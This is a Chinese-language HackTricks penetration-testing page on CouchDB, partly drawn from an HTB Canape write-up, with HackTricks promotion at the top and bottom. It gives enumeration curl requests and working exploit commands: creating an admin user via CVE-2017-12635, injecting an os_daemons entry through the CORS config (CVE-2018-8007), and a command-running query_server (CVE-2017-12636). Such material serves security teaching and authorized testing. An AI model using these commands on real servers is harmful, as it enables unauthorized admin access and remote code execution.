# 5984,6984 - 对CouchDB的渗透测试
通过 htARTE (HackTricks AWS Red Team Expert)从零到英雄学习AWS黑客攻击!
支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## **基本信息**
CouchDB是一个面向文档的数据库,在每个文档中字段以键值映射的形式存储。字段可以是简单的键/值对、列表或映射。
存储在数据库中的每个文档都被赋予一个文档级别的唯一标识符(`_id`)以及每次更改并保存到数据库的修订号(`_rev`)。
**默认端口:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **自动枚举**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## 手动枚举
### 横幅
```
curl http://IP:5984/
```
此操作向已安装的CouchDB实例发出GET请求。回复应类似于以下之一:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
请注意,如果访问 couchdb 的根目录时收到 `401 Unauthorized`,并出现如下信息:`{"error":"unauthorized","reason":"Authentication required."}`,**您将无法访问**横幅或任何其他端点。
{% endhint %}
### 信息枚举
以下是您可以通过 **GET** 请求访问并提取一些有趣信息的端点。您可以在 [**couchdb 文档中找到更多端点和更详细的描述**](https://docs.couchdb.org/en/latest/api/index.html)。
* **`/_active_tasks`** 正在运行的任务列表,包括任务类型、名称、状态和进程 ID。
* **`/_all_dbs`** 返回 CouchDB 实例中所有数据库的列表。
* **`/_cluster_setup`** 根据集群设置向导返回节点或集群的状态。
* **`/_db_updates`** 返回 CouchDB 实例中所有数据库事件的列表。使用此端点需要 `_global_changes` 数据库的存在。
* **`/_membership`** 显示作为 `cluster_nodes` 的集群部分的节点。字段 `all_nodes` 显示此节点所知的所有节点,包括集群的一部分。
* **`/_scheduler/jobs`** 复制作业列表。每个作业描述将包括源和目标信息、复制 id、最近事件的历史记录等。
* **`/_scheduler/docs`** 复制文档状态列表。包括所有文档的信息,即使是 `completed` 和 `failed` 状态的文档。对于每个文档,它返回文档 ID、数据库、复制 ID、源和目标等信息。
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** `/_node/{node-name}` 端点可用于确认处理请求的服务器的 Erlang 节点名称。当访问 `/_node/_local` 以检索此信息时,这最有用。
* **`/_node/{node-name}/_stats`** `_stats` 资源返回包含运行服务器统计信息的 JSON 对象。字面字符串 `_local` 作为本地节点名称的别名,因此对于所有统计 URL,`{node-name}` 可以替换为 `_local`,以与本地节点的统计信息进行交互。
* **`/_node/{node-name}/_system`** \_system 资源返回包含运行服务器的各种系统级统计信息的 JSON 对象\_。您可以使用 \_\_`_local` 作为 {node-name} 来获取当前节点信息。
* **`/_node/{node-name}/_restart`**
* **`/_up`** 确认服务器正在运行,并准备响应请求。如果 [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) 为 `true` 或 `nolb`,端点将返回 404 响应。
* **`/_uuids`** 从 CouchDB 实例请求一个或多个通用唯一标识符(UUID)。
* **`/_reshard`** 返回已完成、失败、运行、停止和总作业的计数,以及集群上重分片的状态。
可以如此处所解释的那样提取更多有趣的信息:[https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **数据库列表**
```
curl -X GET http://IP:5984/_all_dbs
```
如果该请求**响应401未授权**,则您需要一些**有效的凭据**来访问数据库:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
为了找到有效的凭证,你可以**尝试**[**暴力破解服务**](../generic-methodologies-and-resources/brute-force.md#couchdb)。
以下是当你拥有足够权限列出数据库时,couchdb的**响应**示例(这只是数据库列表):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### 数据库信息
您可以通过访问数据库名称来获取一些数据库信息(如文件数量和大小):
```bash
curl http://IP:5984/
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **文档列表**
列出数据库内的每个条目
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **读取文档**
读取数据库内部文档的内容:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB 权限提升 [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
由于 Erlang 和 JavaScript JSON 解析器之间的差异,您可以使用以下请求**创建一个管理员用户**,凭据为 `hacktricks:hacktricks`:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**关于此漏洞的更多信息**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### Erlang Cookie
在CouchDB文档的[集群设置部分](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup),讨论了CouchDB使用的不同端口:
> CouchDB在集群模式下使用端口`5984`,就像独立模式一样,但它也使用`5986`用于节点本地API。
>
> Erlang使用TCP端口`4369`(EPMD)来查找其他节点,因此所有服务器必须能够在此端口上相互通信。在Erlang集群中,所有节点都连接到所有其他节点。一个网状结构。
然后有一个有趣的警告:
![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png)
如果我们查看进程列表,我们可以看到那个cookie,“monster”:
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
**您可以**[**阅读本节了解如何滥用Erlangs cookies以获得RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。**\
此外,您可以阅读一些**Canape HTB机器剖析**[**像这篇**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)来看看并**实践**如何**利用这个漏洞**。
### **成功利用CVE-2018-8007并具有local.ini写权限**
在撰写本文时,我发现mdsec发布了一个新的CouchDB CVE,[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。它也需要对`local.ini`文件的写入权限,所以它对Canape来说不是一个有用的选项。但既然我已经将其设置为root可写,让我们看看我们是否能让它工作。
从一个干净且现在可写的`local.ini`(和一个备份)开始:
```
root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
我们可以使用curl修改`local.ini`文件中的origins。这里的漏洞是,如果我们使用curl放入一个新的origin然后是新的行,我们可以写入额外的内容,包括一个新的头部和细节。因此,我们将利用`[os_daemons]`字段,并添加一个进程让CouchDB尝试持续运行:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
在根shell中,我们可以看到变化:
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
文件却不在那里:
```
root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory
```
如果我们查看带有“couchdb”命令行的正在运行的进程,我们不仅可以看到早先我们使用过的cookie值的命令行,还有`runsrv couchdb`:
```
root@canape:/home/homer/bin# ps aux | grep couch
root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb
root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb
homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config
```
如果我们终止那个进程,它会立即重启(注意新的pid):
```
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv
```
在重启时,运行OS\_Daemons:
```
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
### **通过 CVE-2017-12636 成功尝试并具有 local.ini 写权限**
CVE-2017-12636 允许通过 couchdb 进程执行代码。然而,在这种配置中它不会起作用。
有一些 POC 可以作为参考:
* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/)
我们需要编写一个新的 query\_server,然后调用它。当 Canape 发布时,大多数 POC 都是针对 couchdb 1.x 的,但这个盒子运行的是 2,所以大多数 POC 中的 query\_servers 路径不存在。现在已经改变了,但我们将遵循相同的步骤。首先,获取版本,并显示 1.X 路径不存在:
```bash
www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}
```
更新为2.0的新路径:
```bash
www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}
www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}
```
从那里,我们应该添加一个`query_server`然后调用它,但我们做不到。
```bash
www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}
```
一些谷歌搜索显示这是一个权限问题。实际上,如果我们用我们的root shell检查,我们可以看到`local.ini`文件是不可写的,更不用说www-data了:
```
root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini
```
因此,对于Canape来说,这是一个死胡同。但如果我们想尝试让它工作,我们可以使用我们的root或homer访问权限使其可读,并继续沿着这条路走下去。我们将备份原始文件,以便我们可以看到所做的更改:
```
root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini
```
现在,回到我们的 www-data shell:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
```
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
```
我们得到了之前的cmd查询服务器的值,这意味着成功。在根shell中,我们可以看到它起作用了:
```
root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =
```
```markdown
现在,我们应该能够创建一个数据库,然后在该数据库中创建一个文档,并通过映射我们的 query_server 的视图请求它以获得执行。
创建数据库和文档:
```
```bash
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
```
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
```
请求它在一个视图中:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"
```
#### [摘要](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) 使用不同的有效载荷
## Shodan
* `port:5984 couchdb`
## 参考资料
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
从零开始学习AWS黑客技术直到成为专家,通过 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。